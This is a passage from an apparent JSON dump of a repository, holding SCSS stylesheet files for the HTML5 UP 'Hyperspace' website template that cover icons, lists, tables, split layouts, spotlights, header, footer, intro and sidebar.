    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Icon */\r\n\r\n\t.icon {\r\n\t\t@include icon;\r\n\t\tborder-bottom: none;\r\n\t\tposition: relative;\r\n\r\n\t\t> .label {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\r\n\t\t&:before {\r\n\t\t\tline-height: inherit;\r\n\t\t}\r\n\r\n\t\t&.solid {\r\n\t\t\t&:before {\r\n\t\t\t\tfont-weight: 900;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.brands {\r\n\t\t\t&:before {\r\n\t\t\t\tfont-family: 'Font Awesome 5 Brands';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.major {\r\n\t\t\twidth: 2.5em;\r\n\t\t\theight: 2.5em;\r\n\t\t\tdisplay: block;\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 100%;\r\n\t\t\tcolor: _palette(bg);\r\n\t\t\ttext-align: center;\r\n\t\t\tline-height: 2.5em;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t\t.wrapper.style1 & {\r\n\t\t\t\t\tcolor: _palette(accent1);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style1-alt & {\r\n\t\t\t\t\tcolor: _palette(accent1-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2 & {\r\n\t\t\t\t\tcolor: _palette(accent2);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2-alt & {\r\n\t\t\t\t\tcolor: _palette(accent2-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3 & {\r\n\t\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3-alt & {\r\n\t\t\t\t\tcolor: _palette(accent3-alt);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_icons.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Icons */\n\n\tul.icons {\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tpadding-left: 0;\n\n\t\tli {\n\t\t\tdisplay: inline-block;\n\t\t\tpadding: 0 0.75em 0 0;\n\n\t\t\t&:last-child {\n\t\t\t\tpadding-right: 0;\n\t\t\t}\n\n\t\t\t> a, > span {\n\t\t\t\tborder: 0;\n\n\t\t\t\t.label {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "assets/sass/components/_image.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Image */\r\n\r\n\t.image {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: 0;\r\n\t\tdisplay: inline-block;\r\n\t\tposition: relative;\r\n\r\n\t\timg {\r\n\t\t\tborder-radius: _size(border-radius);\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\t&.left,\r\n\t\t&.right {\r\n\t\t\tmax-width: 40%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.left {\r\n\t\t\tfloat: left;\r\n\t\t\tmargin: 0 1.5em 1em 0;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.right {\r\n\t\t\tfloat: right;\r\n\t\t\tmargin: 0 0 1em 1.5em;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.main {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 1.5) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_list.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* List */\r\n\r\n\tol {\r\n\t\tlist-style: decimal;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1.25em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.25em;\r\n\t\t}\r\n\t}\r\n\r\n\tul {\r\n\t\tlist-style: disc;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.5em;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tborder-top: solid _size(border-width) _palette(border);\r\n\t\t\t\tpadding: 0.5em 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top: 0;\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tdl {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tdt {\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.5) 0;\r\n\t\t}\r\n\r\n\t\tdd {\r\n\t\t\tmargin-left: _size(element-margin);\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_menu.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Menu */\n\n\tul.menu {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\n\t\t> li {\n\t\t\tborder-left: solid 1px _palette(border);\n\t\t\tdisplay: inline-block;\n\t\t\tline-height: 1;\n\t\t\tmargin-left: 1.5em;\n\t\t\tpadding: 0 0 0 1.5em;\n\n\t\t\t&:first-child {\n\t\t\t\tborder-left: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\t\t}\n\n\t\t@include breakpoint('<=xsmall') {\n\t\t\t> li {\n\t\t\t\tborder-left: 0;\n\t\t\t\tdisplay: block;\n\t\t\t\tline-height: inherit;\n\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "assets/sass/components/_row.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Row */\r\n\r\n\t.row {\r\n\t\t@include html-grid(1.5em);\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t@include html-grid(1.5em, 'xlarge');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\t@include html-grid(1.5em, 'large');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\t@include html-grid(1.5em, 'medium');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\t@include html-grid(1.5em, 'small');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t@include html-grid(1.5em, 'xsmall');\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_section.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Section/Article */\r\n\r\n\tsection, article {\r\n\t\t&.special {\r\n\t\t\ttext-align: center;\r\n\t\t}\r\n\t}\r\n\r\n\theader {\r\n\t\tp {\r\n\t\t\tcolor: _palette(fg-light);\r\n\t\t\tposition: relative;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.75) 0;\r\n\t\t}\r\n\r\n\t\th2 + p {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.5);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th3 + p {\r\n\t\t\tfont-size: 1.1em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.4);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th4 + p,\r\n\t\th5 + p,\r\n\t\th6 + p {\r\n\t\t\tfont-size: 0.9em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.3);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_split.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Split */\r\n\r\n\t.split {\r\n\t\t@include vendor('display', 'flex');\r\n\r\n\t\t> * {\r\n\t\t\twidth: calc(50% - 2.5em);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n - 1) {\r\n\t\t\tpadding-right: 2.5em;\r\n\t\t\tborder-right: solid 1px _palette(border);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n) {\r\n\t\t\tpadding-left: 2.5em;\r\n\t\t}\r\n\r\n\t\t&.style1 {\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\twidth: calc(66.66666% - 2.5em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\twidth: calc(33.33333% - 2.5em);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t> * {\r\n\t\t\t\twidth: calc(50% - 2em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tpadding-right: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t&.style1 {\r\n\t\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\t\twidth: calc(66.66666% - 2em);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> :nth-child(2n) {\r\n\t\t\t\t\twidth: calc(33.33333% - 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\t> * {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\tmargin: 4em 0 0 0;\r\n\t\t\t\tpadding: 4em 0 0 0;\r\n\t\t\t\twidth: 100% !important;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tborder-right: 0;\r\n\t\t\t\tpadding-right: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :first-child {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t\tmargin-top: 0;\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\t> * {\r\n\t\t\t\tmargin: 3em 0 0 0;\r\n\t\t\t\tpadding: 3em 0 0 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_spotlights.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\tmin-height: 22.5em;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\tmin-height: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> .image {\r\n\t\t\t\tbackground-position: center center;\r\n\t\t\t\tbackground-size: cover;\r\n\t\t\t\tborder-radius: 0;\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\twidth: 25em;\r\n\r\n\t\t\t\timg {\r\n\t\t\t\t\tborder-radius: 0;\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\t@include vendor('transition', 'opacity #{_duration(activation)} ease');\r\n\t\t\t\t\tbackground: transparentize(_palette(bg), 0.1);\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\theight: 100%;\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t@include padding(4em, 5em);\r\n\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t\twidth: #{_size(inner-width) - 25em};\r\n\t\t\t\t-ms-flex: 1;\r\n\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'translateX(0) translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation)} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(1) {\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.05);\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(3) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.1);\r\n\t\t\t}\r\n\r\n\t\t\t&.inactive,\r\n\t\t\tbody.is-preload & {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\t&:before {\r\n\t\t\t\t\t\topacity: 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateX(-1em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(4em, 4em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=medium') {\r\n\t\t\t\tdisplay: block;\r\n\r\n\t\t\t\t> .image {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.inactive,\r\n\t\t\t\tbody.is-preload & {\r\n\t\t\t\t\t> .content {\r\n\t\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t\tmin-height: 15em;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(3em, 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n"
  },
  {
    "path": "assets/sass/components/_table.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Table */\r\n\r\n\t.table-wrapper {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\toverflow-x: auto;\r\n\t}\r\n\r\n\ttable {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\twidth: 100%;\r\n\r\n\t\ttbody {\r\n\t\t\ttr {\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tborder-left: 0;\r\n\t\t\t\tborder-right: 0;\r\n\r\n\t\t\t\t&:nth-child(2n + 1) {\r\n\t\t\t\t\tbackground-color: _palette(border-bg);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\ttd {\r\n\t\t\tpadding: 0.75em 0.75em;\r\n\t\t}\r\n\r\n\t\tth {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\r\n\t\t\ttext-align: left;\r\n\t\t}\r\n\r\n\t\tthead {\r\n\t\t\tborder-bottom: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\ttfoot {\r\n\t\t\tborder-top: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder-collapse: separate;\r\n\r\n\t\t\ttbody {\r\n\t\t\t\ttr {\r\n\t\t\t\t\ttd {\r\n\t\t\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\t\t\tborder-left-width: 0;\r\n\t\t\t\t\t\tborder-top-width: 0;\r\n\r\n\t\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\t\tborder-left-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\ttd {\r\n\t\t\t\t\t\t\tborder-top-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tthead {\r\n\t\t\t\tborder-bottom: 0;\r\n\t\t\t}\r\n\r\n\t\t\ttfoot {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_wrapper.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\n\t\t> .inner {\n\t\t\t@include padding(5em, 5em);\n\t\t\tmax-width: 100%;\n\t\t\twidth: _size(inner-width);\n\n\t\t\t@include breakpoint('<=xlarge') {\n\t\t\t\t@include padding(4em, 4em);\n\t\t\t}\n\n\t\t\t@include breakpoint('<=large') {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t@include breakpoint('<=small') {\n\t\t\t\t@include padding(3em, 2em);\n\t\t\t}\n\t\t}\n\n\t\t&.alt {\n\t\t\tbackground-color: _palette(bg-alt);\n\t\t}\n\n\t\t&.style1 {\n\t\t\tbackground-color: _palette(accent1);\n\t\t}\n\n\t\t&.style1-alt {\n\t\t\tbackground-color: _palette(accent1-alt);\n\t\t}\n\n\t\t&.style2 {\n\t\t\tbackground-color: _palette(accent2);\n\t\t}\n\n\t\t&.style2-alt {\n\t\t\tbackground-color: _palette(accent2-alt);\n\t\t}\n\n\t\t&.style3 {\n\t\t\tbackground-color: _palette(accent3);\n\t\t}\n\n\t\t&.style3-alt {\n\t\t\tbackground-color: _palette(accent3-alt);\n\t\t}\n\n\t\t&.fullscreen {\n\t\t\t@include vendor('display', 'flex');\n\t\t\t@include vendor('flex-direction', 'column');\n\t\t\t@include vendor('justify-content', 'center');\n\t\t\tmin-height: 100vh;\n\n\t\t\tbody.is-ie & {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@include breakpoint('<=large') {\n\t\t\t\tmin-height: calc(100vh - 2.5em);\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@include breakpoint('<=small') {\n\t\t\t\tpadding: 2em 0;\n\t\t\t\tmin-height: 0;\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: auto;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-up {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-down {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(-1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "assets/sass/layout/_footer.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Footer */\r\n\r\n\t#footer {\r\n\t\t#sidebar + #wrapper + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint('<=large') {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t> .inner {\r\n\t\t\ta {\r\n\t\t\t\tborder-bottom-color: _palette(border);\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tborder-bottom-color: transparent;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t.menu {\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\tcolor: _palette(border);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + #wrapper + & {\r\n\t\t\t> .inner {\r\n\t\t\t\tmargin: 0 auto;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/layout/_header.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Header */\r\n\r\n\t#header {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tbackground-color: _palette(accent1);\r\n\t\tcursor: default;\r\n\t\tpadding: 1.75em 2em;\r\n\r\n\t\t> .title {\r\n\t\t\tborder: 0;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t}\r\n\r\n\t\t> nav {\r\n\t\t\t@include vendor('flex', '1');\r\n\t\t\ttext-align: right;\r\n\r\n\t\t\t> ul {\r\n\t\t\t\tmargin: 0;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\tmargin-left: 1.75em;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tvertical-align: middle;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin-left: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\ta {\r\n\t\t\t\t\t\tborder: 0;\r\n\t\t\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t\t\t&:hover {\r\n\t\t\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t&.active {\r\n\t\t\t\t\t\t\tcolor: _palette(fg-bold);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tpadding: 1em 2em;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\tdisplay: block;\r\n\t\t\tpadding: 0 2em;\r\n\t\t\ttext-align: left;\r\n\r\n\t\t\t.title {\r\n\t\t\t\tfont-size: 1.25em;\r\n\t\t\t\tpadding: 1em 0;\r\n\t\t\t}\r\n\r\n\t\t\t> nav {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\ttext-align: inherit;\r\n\r\n\t\t\t\t> ul {\r\n\t\t\t\t\t> li {\r\n\t\t\t\t\t\tmargin-left: 1.5em;\r\n\r\n\t\t\t\t\t\ta {\r\n\t\t\t\t\t\t\theight: 6em;\r\n\t\t\t\t\t\t\tline-height: 6em;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/layout/_intro.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Intro */\r\n\r\n\t#intro {\r\n\t\tbackground-attachment: fixed;\r\n\t\tbackground-image: url('images/intro.svg');\r\n\t\tbackground-position: top right;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-size: 100% 100%;\r\n\r\n\t\tp {\r\n\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t@include breakpoint('<=medium') {\r\n\t\t\t\tbr {\r\n\t\t\t\t\tdisplay: none;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\tfont-size: 1em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\tbackground-attachment: scroll;\r\n\t\t}\r\n\t}\r\n"
  },
  {
    "path": "assets/sass/layout/_sidebar.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t@include padding(2.5em, 2.5em);\r\n\t\tbackground: _palette(bg);\r\n\t\tcursor: default;\r\n\t\theight: 100vh;\r\n\t\tleft: 0;\r\n\t\toverflow-x: hidden;\r\n\t\toverflow-y: auto;\r\n\t\tposition: fixed;\r\n\t\ttext-align: right;\r\n\t\ttop: 0;\r\n\t\twidth: _size(sidebar-width);\r\n\t\tz-index: _misc(z-index-base);\r\n\r\n\t\t> .inner {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t));\r\n\t\t\tmin-height: 100%;\r\n\t\t\topacity: 1;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\theight: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\tlist-style: none;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation) * 0.15} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation) * 0.75} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\tmargin: 1.5em 0 0 0;\r\n\t\t\t\t\topacity: 